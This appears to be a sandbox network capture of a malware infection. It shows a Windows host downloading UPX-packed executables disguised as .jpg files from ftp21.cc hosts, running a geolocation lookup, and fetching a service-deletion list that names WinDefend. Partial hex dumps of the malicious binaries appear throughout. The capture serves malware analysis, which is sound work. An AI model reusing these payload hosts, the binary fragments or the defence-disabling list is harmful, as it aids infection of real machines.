Jun 29, 2024 08:04:56.737488031 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 29 Jun 2024 06:04:56 GMT Content-Type: image/jpeg Content-Length: 180768 Connection: keep-alive Last-Modified: Mon, 03 Jun 2024 02:39:58 GMT ETag: "54633b535fb5da1:303" traceparent: 00-e9f66dd29144f90402f46bc4e4c8b0c9-54cb3fc52bcce31a-01 X-ID: rj2-hw-edge-gc11 Cache: MISS Accept-Ranges: bytes X-ID-FE: rj2-hw-edge-gc10 Data Raw: 42 4d 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 53 6d 97 f6 17 0c f9 a5 17 0c f9 a5 17 0c f9 a5 6c 10 f5 a5 14 0c f9 a5 21 2a f2 a5 15 0c f9 a5 21 2a fd a5 15 0c f9 a5 d4 03 a6 a5 15 0c f9 a5 d4 03 a4 a5 0d 0c f9 a5 cd 2f e5 a5 16 0c f9 a5 17 0c f9 a5 08 0c f9 a5 78 13 f3 a5 12 0c f9 a5 78 13 fd a5 12 0c f9 a5 94 10 f7 a5 11 0c f9 a5 17 0c f8 a5 38 0d f9 a5 ff 13 f3 a5 3b 0c f9 a5 ff 13 f2 a5 0f 0c f9 a5 ff 13 fd a5 16 0c f9 a5 52 69 63 68 17 0c f9 a5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f1 44 5c 66 00 00 00 00 00 00 00 00 e0 00 0e 21 0b 01 06 00 00 c0 02 00 00 10 00 00 00 60 0d 00 40 25 10 00 00 70 0d 00 00 30 10 00 00 00 00 10 00 10 00 00 00 02 00 00 04 00 [TRUNCATED] Data Ascii: BM@!L!This program cannot be run in DOS mode.$Sml!!/xx8;RichPELD\f!`@%p0@d30d4UPX0`UPX1p@UPX20@
Jun 29, 2024 08:04:56.737512112 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 1.20UPX!H]oz:0&{V3FFPDB$^^LD$tVlR??
Jun 29, 2024 08:04:56.737526894 CEST	1236	IN	Data Raw: 11 0c f7 1e fc 3b c3 75 c8 38 89 74 23 5d 18 17 dd e0 48 c8 0b 1f 60 b4 77 fd 03 3e 4f 55 68 41 64 8d 4e 1c fd 20 38 7a 80 1c b1 55 6e 48 a3 44 1d 2c f0 af ca 28 01 8b 45 00 3b c5 89 a7 9b 8d b6 7c 55 5f 53 18 53 52 1c 18 ef 00 7f 00 14 a3 c1 7b Data Ascii: ;u8t#]H`w>OUhAdN 8zUnHD,(E;\|U_SSR{PQ9lGuon4_5};k}-g-mgUx(];s0IR0VR]0o7 A[rI\`mUFu6}C
Jun 29, 2024 08:04:56.737540960 CEST	1236	IN	Data Raw: f1 f1 2c c8 a9 2a 35 c7 43 0e 04 69 21 44 7e 4c 6b b7 9a 60 73 06 b8 3e 73 33 97 5d 85 70 20 51 8b 4d a2 cf 51 86 d8 33 c8 1c 52 44 49 2c a2 85 7c 49 d8 74 1d 7b d3 62 14 96 d1 b3 06 ca 7c 08 d3 03 d7 46 58 81 0f 7e 54 07 06 93 02 10 18 db 7e 04 Data Ascii: ,*5Ci!D~Lk`s>s3]p QMQ3RDI,\|It{b\|FX~T~=bADQ i@(@BPx4U{RQM-QY"XZ1=p2a}JUhM;\rT\|;=jh0,?F;x<VH"B'Nfi,3fB4#HY
Jun 29, 2024 08:04:56.737556934 CEST	1236	IN	Data Raw: 0a 7f 24 eb 0f 74 0a 66 a8 00 98 51 eb 01 55 8f fe 13 67 6d 8c 66 27 22 8b 57 0c 6a 8d 02 8d 8d 32 d1 00 dc 90 f9 a7 c5 cc 04 27 8d 21 78 b3 33 9f f1 ef 83 3d b4 05 75 17 55 53 66 1a 6c 42 7e 95 ee 30 3f 8b 96 82 e2 6a 04 51 6a 08 bf 4b 27 1d 8e Data Ascii: $tfQUgmf'"Wj2'!x3=uUSflB~0?jQjK'xho'$\|*oQP%@.d(jIV8n<'p_q@'DWV^lv}+83JxqD;QB ToL,^`ul$Q<8fH[R
Jun 29, 2024 08:04:56.737571955 CEST	1236	IN	Data Raw: 89 7c 8e 5b e1 6b 9d 40 e0 8d fc a7 59 3c 6e 30 e0 dc 05 51 90 47 07 dc 08 55 c7 ec 10 5e a8 81 c4 ad 59 5f 54 46 b0 00 27 1f ea 75 54 fd 4c 05 6c ae 11 28 86 10 a5 18 97 70 f2 25 21 1c 18 1a 68 5f 42 7b 45 00 dc 05 c2 f8 0e 50 42 14 11 4b 08 ae Data Ascii: \|[k@Y<n0QGU^Y_TF'uTLl(p%!h_B{EPBK)@\C<p4?Z3c'BB0B1o8bjh5j9^xRWQP-,kwkRSWo]\| yPA1&[71}l4vf/j6$p'
Jun 29, 2024 08:04:56.737587929 CEST	1236	IN	Data Raw: 75 51 d0 45 fc 2e 5e 79 01 8e c1 c5 df 1d d4 fc fe 9d c2 c5 c7 4f d3 00 d1 e0 66 89 06 83 c0 02 72 0a 42 fc 0b 46 02 25 92 4f a5 b0 5c a9 9e 03 66 02 c9 cc 86 6a 83 55 56 50 9a ed 08 1e 9f c2 49 77 c5 30 56 36 e1 c0 02 b7 16 f6 b9 06 01 96 38 04 Data Ascii: uQE.^yOfrBF%O\fjUVPIw0V68 QB6X0:B<(#Z/Lh@oT@L02+bCXHR,d_#p{B 3W-$,,PVQSS(<<3i]1\<C:
Jun 29, 2024 08:04:56.737719059 CEST	1236	IN	Data Raw: bb bd 0f 50 8e 37 14 88 14 55 d4 8a 74 48 d9 28 89 41 c8 04 85 f4 59 b8 a5 a5 74 35 1c 8a 92 a1 e3 2d 2d b1 43 5b fe b1 42 26 b9 fe 53 f4 af 41 07 40 55 74 eb 02 8b 0c 90 03 72 48 db e4 35 ec 28 24 03 28 87 0c c8 21 04 2c 05 81 e1 fe 24 45 04 5f Data Ascii: P7UtH(AYt5--C[B&SA@UtrH5($(!,$E_@^AZI\ib%LDehT[A]^C3^s0~OuSI3?Vt_JUQ4tT:UVFS+S1_[Sj^y*XM
Jun 29, 2024 08:04:56.737737894 CEST	1224	IN	Data Raw: 83 fb ff 74 2d 36 4e b1 30 10 38 cb 8f 20 01 03 1f 0d 4b 7c 18 88 a0 e3 1d e5 c2 f2 36 36 c2 c3 70 24 02 86 53 66 c9 59 b0 58 51 8e e3 9b 00 99 8a 6c 81 1e 75 33 31 11 b9 71 d8 09 1c 50 0c 8e 8b 32 c5 c7 f1 be 41 11 af 40 08 82 10 8b 3f a1 18 3d Data Ascii: t-6N08 K\|66p$SfYXQlu31qP2A@?=\|zjx\NuNpa{u]Y8?_3!W'8gKhC0>j4n!T%rf?_)+Ckt`BR{qf
Jun 29, 2024 08:04:56.737818956 CEST	1236	IN	Data Raw: 4a 64 7c b9 c1 40 fb f0 34 e9 be 44 6a 01 56 56 68 88 1d 89 45 e4 94 cd 6c 38 42 c5 6c 73 97 25 f9 39 d0 72 c2 40 52 6b db bd e4 cd cc cc fe 55 68 6a 2b 04 d8 22 85 14 26 5b 71 1e 71 8f 0e 75 8d 8d 78 4a c4 ab 00 3e 07 0c 55 ff d7 a8 95 2c 0f f8 Data Ascii: Jd\|@4DjVVhEl8Bls%9r@RkUhj+"&[qquxJ>U,;G;u>{8C*@9xPWG4<\|KQSu8Ra-R}WB\|xjZsWA8.\_(/fdf#~h#f0!
Jun 29, 2024 08:04:56.742568970 CEST	1236	IN	Data Raw: d8 24 3d 8c ae 42 a1 17 57 80 92 32 74 8c b7 33 1c ed 4a e2 c9 6a 35 5b 2c 0e 18 af c4 c0 0a 23 ea ff d5 07 1b a3 c1 71 22 cf 33 1b dd 53 dc 8f 38 e0 38 14 17 a5 10 dc 11 ca ca 16 1f f8 47 9a ac a3 50 f5 69 c7 d6 80 bc 0d ee 41 30 6a 14 ed 49 a2 Data Ascii: $=BW2t3Jj5[,#q"3S88GPiA0jIZ}fp~zja'"l4NF;\|-X$[3eFA-'=wR>?w]@bl7P'EFc4AGoHmI,T-<hPlb<SQ#D[c [ K#W-o:c~h
Jun 29, 2024 08:04:57.941535950 CEST	283	OUT	GET /MpMgSvc.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ssl.ftp21.cc Connection: Keep-Alive
Jun 29, 2024 08:04:58.444257975 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 29 Jun 2024 06:04:58 GMT Content-Type: image/jpeg Content-Length: 3309568 Connection: keep-alive Last-Modified: Thu, 20 Jun 2024 01:33:06 GMT ETag: "44f624cdb1c2da1:303" traceparent: 00-72757caed4e2202bdab7dc3371880078-e202546a99e38231-01 X-ID: rj2-hw-edge-gc11 Cache: MISS Accept-Ranges: bytes X-ID-FE: rj2-hw-edge-gc10 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 68 40 bc 59 2c 21 d2 0a 2c 21 d2 0a 2c 21 d2 0a 43 3e d9 0a 25 21 d2 0a 43 3e d8 0a 2a 21 d2 0a af 3d dc 0a 00 21 d2 0a 57 3d de 0a 29 21 d2 0a 7a 3e c1 0a 00 21 d2 0a 4e 3e c1 0a 34 21 d2 0a 2c 21 d3 0a 8c 23 d2 0a af 29 8f 0a 2f 21 d2 0a 78 02 e3 0a 2d 21 d2 0a 1a 07 d9 0a 46 21 d2 0a 1a 07 d8 0a ca 21 d2 0a c4 3e d9 0a 70 21 d2 0a c4 3e d8 0a 37 21 d2 0a 2c 21 d2 0a 1c 21 d2 0a eb 27 d4 0a 2d 21 d2 0a 52 69 63 68 2c 21 d2 0a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 3b 85 73 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 60 32 00 00 20 00 00 00 e0 60 00 70 4c 93 00 00 f0 60 00 00 50 93 00 00 00 40 00 00 10 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h@Y,!,!,!C>%!C>*!=!W=)!z>!N>4!,!#)/!x-!F!!>p!>7!,!!'-!Rich,!PEL;sf`2 `pL`P@phPUPX0`UPX1`2``2@.rsrc Pd2@
Jun 29, 2024 08:05:14.102662086 CEST	281	OUT	GET /Hooks.jpg HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: ssl.ftp21.cc Connection: Keep-Alive
Jun 29, 2024 08:05:14.309045076 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Sat, 29 Jun 2024 06:05:14 GMT Content-Type: image/jpeg Content-Length: 12244992 Connection: keep-alive Last-Modified: Mon, 03 Jun 2024 04:19:31 GMT ETag: "b8e74d3b6db5da1:303" traceparent: 00-56e42bce0daa49ed60b6f5495473d173-77434e020d14253f-01 X-ID: rj2-hw-edge-gc11 Age: 393175 Cache: STALE X-Cached-Since: 2024-06-24T16:52:19+00:00 Accept-Ranges: bytes X-ID-FE: rj2-hw-edge-gc10 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 14 ff 8b b0 50 9e e5 e3 50 9e e5 e3 50 9e e5 e3 93 91 ba e3 54 9e e5 e3 d3 82 eb e3 4a 9e e5 e3 66 b8 ef e3 24 9e e5 e3 93 91 b8 e3 43 9e e5 e3 50 9e e4 e3 db 9f e5 e3 66 b8 ee e3 0c 9e e5 e3 50 9e e5 e3 51 9e e5 e3 b8 81 ee e3 52 9e e5 e3 52 69 63 68 50 9e e5 e3 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d0 3a 5d 66 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 06 00 00 d0 ba 00 00 10 00 00 00 50 c4 00 10 2b 7f 01 00 60 c4 00 00 30 7f 01 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 7f 01 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PPPTJf$CPfPQRRichPPEL:]fP+`0@@20UPX0PUPX1`@.rsrc0@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49739	118.184.169.48	80	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 08:05:19.858782053 CEST	222	OUT	GET /dyndns/getip HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn Referer: http://118.184.169.48/dyndns/getip User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 118.184.169.48
Jun 29, 2024 08:05:23.783292055 CEST	185	IN	HTTP/1.1 200 OK server: nginx date: Sat, 29 Jun 2024 06:05:23 GMT content-type: text/plain; charset=utf-8 transfer-encoding: chunked vary: Accept-Encoding Data Raw: 43 0d 0a 38 2e 34 36 2e 31 32 33 2e 33 33 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: C8.46.123.330

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	45.113.194.127	80	2800	C:\Windows\Temp\MpMgSvc.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 08:05:23.805488110 CEST	219	OUT	GET /api.php?query=8.46.123.33&co=&resource_id=6006&oe=utf8 HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: zh-cn User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) Host: 45.113.194.127
Jun 29, 2024 08:05:24.725282907 CEST	1080	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 393 Content-Type: application/json;charset=UTF-8 Date: Sat, 29 Jun 2024 06:05:24 GMT Expires: Sat, 29 Jun 2024 06:05:24 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: Apache Set-Cookie: BAIDUID=011269BF78E9A83263C518C04ABB79C5:FG=1; expires=Sun, 29-Jun-25 06:05:24 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Set-Cookie: BAIDUID=7F93E8C4DF0425E202320BA4304EFE6D:FG=1; expires=Sun, 29-Jun-25 06:05:24 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Tracecode: 03245645881268878602062914 Tracecode: 03245644181369913354062914 X-Powered-By: HHVM Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 30 22 2c 22 74 22 3a 22 22 2c 22 73 65 74 5f 63 61 63 68 65 5f 74 69 6d 65 22 3a 22 22 2c 22 64 61 74 61 22 3a 5b 7b 22 45 78 74 65 6e 64 65 64 4c 6f 63 61 74 69 6f 6e 22 3a 22 22 2c 22 4f 72 69 67 69 6e 51 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 53 63 68 65 6d 61 56 65 72 22 3a 22 22 2c 22 61 70 70 69 6e 66 6f 22 3a 22 22 2c 22 64 69 73 70 5f 74 79 70 65 22 3a 30 2c 22 66 65 74 63 68 6b 65 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 e7 be 8e e5 9b bd 22 2c 22 6f 72 69 67 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 6f 72 69 67 69 70 71 75 65 72 79 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 72 65 73 6f 75 72 63 65 69 64 22 3a 22 36 30 30 36 22 2c 22 72 6f 6c 65 5f 69 64 22 3a 30 2c 22 73 63 68 65 6d 61 49 44 22 3a 22 22 2c 22 73 68 61 72 65 49 6d 61 67 65 22 3a 31 2c 22 73 68 6f 77 4c 69 6b 65 53 68 61 72 65 22 3a 31 2c 22 73 68 6f 77 6c 61 6d 70 22 3a 22 31 22 2c 22 73 74 72 61 74 [TRUNCATED] Data Ascii: {"status":"0","t":"","set_cache_time":"","data":[{"ExtendedLocation":"","OriginQuery":"8.46.123.33","SchemaVer":"","appinfo":"","disp_type":0,"fetchkey":"8.46.123.33","location":"","origip":"8.46.123.33","origipquery":"8.46.123.33","resourceid":"6006","role_id":0,"schemaID":"","shareImage":1,"showLikeShare":1,"showlamp":"1","strategyData":{},"titlecont":"IP","tplt":"ip"}]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	50135	119.203.212.165	80	3980	C:\Windows\SysWOW64\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jun 29, 2024 08:05:33.097496986 CEST	92	OUT	GET /64.jpg HTTP/1.1 User-Agent: HTTPREAD Host: down.ftp21.cc Cache-Control: no-cache
Jun 29, 2024 08:05:33.976744890 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 1648640 Content-Type: image/jpeg Last-Modified: Thu, 06 Apr 2023 03:02:52 GMT Accept-Ranges: bytes ETag: "b01959473468d91:303" Server: Microsoft-IIS/6.0 Date: Sat, 29 Jun 2024 06:05:50 GMT Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 2a b8 64 e1 4b d6 37 e1 4b d6 37 e1 4b d6 37 f5 20 d5 36 ed 4b d6 37 f5 20 d3 36 26 4b d6 37 87 24 2b 37 e5 4b d6 37 8d 3f d2 36 f2 4b d6 37 8d 3f d5 36 eb 4b d6 37 8d 3f d3 36 bd 4b d6 37 f5 20 d2 36 fb 4b d6 37 37 3f d2 36 f3 4b d6 37 f5 20 d7 36 f2 4b d6 37 e1 4b d7 37 88 4a d6 37 54 3e d2 36 b3 49 d6 37 37 3f df 36 48 4b d6 37 37 3f d5 36 e2 4b d6 37 37 3f 29 37 e0 4b d6 37 e1 4b 41 37 e0 4b d6 37 37 3f d4 36 e0 4b d6 37 52 69 63 68 e1 4b d6 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 03 00 b8 c2 47 63 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 1c 00 20 19 00 00 10 [TRUNCATED] Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$*dK7K7K7 6K7 6&K7$+7K7?6K7?6K7?6K7 6K77?6K7 6K7K7J7T>6I77?6HK77?6K77?)7K7KA7K77?6K7RichK7PEdGc" SPmS@ m`mLmi$mm(m8UPX0SUPX1 S@.rsrcm @3.96UPX!$<b
Jun 29, 2024 08:05:33.976758003 CEST	224	IN	Data Raw: 92 43 04 82 e1 6c 00 46 17 19 00 00 ce 42 00 49 8a 00 76 ff ff 76 fb 48 89 5c 24 08 08 74 24 10 12 7c 24 18 4c 89 64 24 20 55 41 56 41 57 48 8d ac db fe bf 35 ff 00 48 81 ec e0 01 00 00 48 8b 05 e9 15 40 0c 33 c4 4e 3d df f6 6d 85 d0 1e 00 c7 44 Data Ascii: ClFBIvvH\$t$\|$Ld$ UAVAWH5HH@3N=mD$pc0 "V~xE%!E"6C"rG6mjfGGh\nFFxs9jr!ldw#zFFdcl ca#(0ry8@w%3HPa{kXld`gA#h
Jun 29, 2024 08:05:33.976768970 CEST	1236	IN	Data Raw: 70 73 b3 87 0d cb e7 20 3e 85 80 72 6b 95 12 33 d8 79 38 96 88 2e 4a 01 2e 97 cb b7 13 61 2e 9a 20 98 a0 14 e5 72 99 55 22 5f a8 b0 12 24 2f df 48 ba b8 8f c0 15 6c b3 e6 9b df c8 2e b9 30 00 e8 8a 2b 84 d0 f0 26 2c a3 bd fd ef 40 08 06 10 66 c7 Data Ascii: ps >rk3y8.J.a. rU"_$/Hl.0+&,@f@F]i(pIUL50*E3foLVT$X)5[ P\|u`L9%\=L<?0L8%r)n@ .8xxgO8){ I$H H;m
Jun 29, 2024 08:05:33.976936102 CEST	224	IN	Data Raw: e0 dd 2a 26 12 19 cd 50 15 0a 5c 9e cb bb 17 12 08 11 14 0f ad d8 26 b6 27 13 b5 e7 20 c8 05 81 01 ff d5 3c 38 cf fb ee 99 10 3d 66 bf 01 d2 c0 6e bb bc 43 1a 53 ce c8 b0 04 ae 27 6d b4 ef 81 53 a8 13 04 c5 bf a4 79 99 e4 a5 68 49 93 68 02 b4 25 Data Ascii: &P\&' <8=fnCS'mSyhIh%rh0\|qhIf$_d_dtdd&?!^ii:gD%p<qlz$)n;//i6d`!rdddddd
Jun 29, 2024 08:05:34.177006006 CEST	1236	IN	Data Raw: 64 f1 14 40 91 5e da b9 ba 0a 9e fc fb 26 e5 0d 06 4b 3b 97 76 24 f0 d6 16 e8 ef 5c 2e 97 ce e0 c6 d8 e2 9d fb 46 71 7e 0d 0d a6 7f c4 7a 17 77 7b 56 b8 6e d1 61 18 07 c0 65 17 7c f1 35 e1 4c c8 8d 20 33 d2 74 aa 16 40 5b 2e 3b ac 53 0c cd ed be Data Ascii: d@^&K;v$\.Fq~zw{Vnae\|5L 3t@[.;SH.LJ15\rJR'yY9@.y$m\2rH-'yY9 /y$ITz6@mJ<15VN -P9%\V /HI^*'Kj
Jun 29, 2024 08:05:34.177017927 CEST	1236	IN	Data Raw: 5f f0 ff a0 c3 1f 83 0f 87 1f 36 ff b8 d5 0f 44 ba d8 a9 4b 1b 87 96 cc df ca 49 61 47 a7 b7 1d 10 01 ff 50 10 75 12 f2 00 ba f4 a1 2f 1a 80 bf 49 ff 20 6f 81 aa 47 57 75 55 77 48 8e d8 60 29 fa 8e 56 88 59 fa 82 f1 f5 1e 8d 1a 4f 30 7d c7 ee fd Data Ascii: _6DKIaGPu/I oGWuUwH`)VYO0}FVv&{ T5d;H]\~:ec$D<u+xCvP}X%Gi{L%+\DhROVEsM4vt_A Q+^
Jun 29, 2024 08:05:34.177026987 CEST	448	IN	Data Raw: 32 d3 22 14 85 b5 c4 95 98 3d c1 fd 15 f4 73 e1 2a 71 b4 f8 fd 32 3d 4d a6 f2 8a 81 27 87 e0 00 38 18 aa 26 98 40 3c e3 85 5d 85 89 12 c7 b1 3f 55 63 fc 97 78 05 ea f7 1f 5c 85 c0 79 09 33 9a d2 c8 84 1a 73 40 3a bb 03 66 82 0d 65 2b bd 71 7c 22 Data Ascii: 2"=s*q2=M'8&@<]?Ucx\y3s@:fe+q\|"P\|LPDA4>gI:F TjV[Lcx%Hc.\|{tSKB7y#hbp\|)VqPD+n}Kt`[N.EJzP+&Wl
Jun 29, 2024 08:05:34.177139997 CEST	1236	IN	Data Raw: 67 44 da d8 cc 4a c8 2b e1 4c 03 c3 56 f1 e2 ca ba 40 21 c1 90 d3 8e 2b d2 68 dd 77 f7 42 49 f3 48 d3 e8 15 e3 4c 0b c0 41 11 e9 08 dc b6 e2 4d 0b d9 5c 79 08 4c c0 01 55 f0 82 97 42 74 a0 1b fa 0f 0f 2b 7c 1d f6 22 d8 f9 04 fa f0 94 8e c0 f1 ea Data Ascii: gDJ+LV@!+hwBIHLAM\yLUBt+\|"<`k>I` (^:Z<>l:uHS`OXFl@?zP@2P^HjSF7!jp0rlHOIpHc 2($Pk<LLzuuf8{}ukzymC
Jun 29, 2024 08:05:34.177148104 CEST	224	IN	Data Raw: 9b f0 bc 82 c6 4c 01 a8 af c7 31 67 26 34 df 3e bc 37 a7 6f 2c 08 3e dc 79 13 9e a7 d7 27 46 67 1e 7a f8 c6 26 25 9e 56 d4 90 13 05 ed 8e f5 b6 40 04 ce c9 5c 2f 60 60 7c 87 24 d0 63 ea 88 84 24 60 03 1b 6e ba 84 d0 72 7f 06 7e 48 3c d8 44 49 87 Data Ascii: L1g&4>7o,>y'Fgz&%V@\/``\|$c$`nr~H<DI vVNy\|`FGNpS^)Vo"VjkffIWI;QqNH;:te49u#AD!P$!X{@eb82t9\|ZESD~
Jun 29, 2024 08:05:34.373116016 CEST	1236	IN	Data Raw: 34 57 7c 8b 2c b4 89 23 4e 80 b5 ae ca be d2 8e a2 7f d8 be 46 58 ac 67 31 10 30 66 49 0c 99 2d 8e be f0 2e 61 9c 2a de d4 1a 64 8b 94 db da 5e 85 d8 bc 24 b8 11 81 0d 80 8b 0f a0 a4 ff 49 b9 7a 81 f3 7b 31 10 22 ac 24 80 e6 78 41 ba 4e 47 96 41 Data Ascii: 4W\|,#NFXg10fI-.ad^$Iz{1"$xANGA2T}LpV4/TbJWfAgDv"X5(OT5XPIuMMtV+_xTM"iBMMK&c0 [\AWA3~xD<
Jun 29, 2024 08:05:34.373167038 CEST	224	IN	Data Raw: 3d 0c 50 c8 e7 a2 89 76 3f f0 92 47 f2 e4 3f f0 40 13 40 13 2a 84 4b b6 66 ff 9b 20 07 d9 bc 3e 44 db b2 c8 50 21 af 90 57 3e 44 3e 44 81 bc 42 5e 3e 44 3e 44 72 28 e4 00 b1 b1 3f 87 a8 a0 80 f2 3d 0c 2e 9f 40 0e c9 a9 40 0b 40 0b 6c 4e 00 72 40 Data Ascii: =Pv?G?@@Kf >DP!W>D>DB^>D>Dr(?=.@@@lNr@?@J?^?VBN(4Mz<\5UVZ(PB~@"8hEhLD(pwAGpBE\|1%tNu1#12xf.:v;t
Jun 29, 2024 08:06:11.372865915 CEST	96	OUT	GET /Update.txt HTTP/1.1 User-Agent: HTTPREAD Host: down.ftp21.cc Cache-Control: no-cache
Jun 29, 2024 08:06:11.669043064 CEST	1236	IN	HTTP/1.1 200 OK Content-Length: 10563 Content-Type: text/plain Last-Modified: Thu, 20 Jun 2024 03:24:58 GMT Accept-Ranges: bytes ETag: "6e57e46dc1c2da1:303" Server: Microsoft-IIS/6.0 Date: Sat, 29 Jun 2024 06:06:27 GMT Data Raw: 5b 44 65 6c 65 74 65 20 53 65 72 76 69 63 65 5d 0d 0a 57 69 6e 44 65 66 65 6e 64 65 72 0d 0a 57 6d 69 50 72 76 53 45 0d 0a 6d 73 75 62 72 69 64 67 65 0d 0a 43 68 72 6f 6d 65 55 70 64 61 74 65 72 0d 0a 73 6e 6d 70 73 74 6f 72 73 72 76 0d 0a 74 70 6d 61 67 65 6e 74 73 65 72 76 69 63 65 0d 0a 77 6d 61 73 73 72 76 0d 0a 76 6d 69 63 68 61 70 61 67 65 6e 74 73 72 76 0d 0a 4d 61 69 6e 74 65 6e 61 6e 63 65 73 53 65 72 76 69 63 65 73 0d 0a 6d 73 73 65 63 73 76 63 32 2e 30 0d 0a 6d 73 73 65 63 73 76 63 32 2e 31 0d 0a 53 52 44 53 4c 50 53 54 0d 0a 53 75 70 65 72 50 72 6f 53 65 72 76 65 72 53 54 0d 0a 57 69 6e 64 6f 73 72 6f 53 65 72 76 65 72 74 0d 0a 53 65 72 76 69 63 65 53 61 69 6d 73 0d 0a 53 65 72 76 69 63 65 53 61 69 73 0d 0a 57 69 6e 64 6f 73 69 56 4d 44 48 43 50 49 0d 0a 57 69 6e 64 6f 73 69 56 4d 44 48 43 50 44 55 4f 0d 0a 57 69 6e 64 6f 73 69 56 4d 44 48 43 50 48 55 49 0d 0a 57 69 6e 56 4d 44 48 43 50 49 0d 0a 57 69 6e 56 4d 44 48 43 50 0d 0a 58 74 66 79 61 0d 0a 58 74 66 79 61 61 0d 0a 58 74 66 79 61 [TRUNCATED] Data Ascii: [Delete 